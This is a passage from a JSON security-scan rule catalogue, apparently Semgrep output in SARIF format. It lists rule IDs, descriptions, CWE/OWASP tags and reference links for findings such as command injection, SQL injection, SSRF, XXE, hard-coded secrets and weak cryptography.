target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-send.bad-send","id":"ruby.lang.security.no-send.bad-send","name":"ruby.lang.security.no-send.bad-send","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-send.bad-send"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"help":{"markdown":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","id":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","name":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe","id":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","name":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-expat.security.audit.expat-xxe.expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"help":{"markdown":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled)\n - [https://stackoverflow.com/a/7442668](https://stackoverflow.com/a/7442668)\n","text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","id":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","name":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","properties":{"precision":"very-high","tags":["CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences","LOW CONFIDENCE","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","id":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","name":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"help":{"markdown":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","id":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","name":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","id":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","name":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","id":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","name":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","id":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","name":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","id":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","name":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SendGrid API Key detected"},"help":{"markdown":"SendGrid API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SendGrid API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","id":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","name":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","id":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","name":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"help":{"markdown":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect","id":"generic.nginx.security.insecure-redirect.insecure-redirect","name":"generic.nginx.security.insecure-redirect.insecure-redirect","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-redirect.insecure-redirect"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","id":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","name":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","id":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","name":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"help":{"markdown":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/network-security](https://docs.microsoft.com/en-us/azure/key-vault/general/network-security)\n","text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","id":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","name":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"help":{"markdown":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings)\n - [https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies](https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL)\n","text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","id":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","name":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"help":{"markdown":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root)\n - [https://github.com/hadolint/hadolint/wiki/DL3002](https://github.com/hadolint/hadolint/wiki/DL3002)\n","text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. 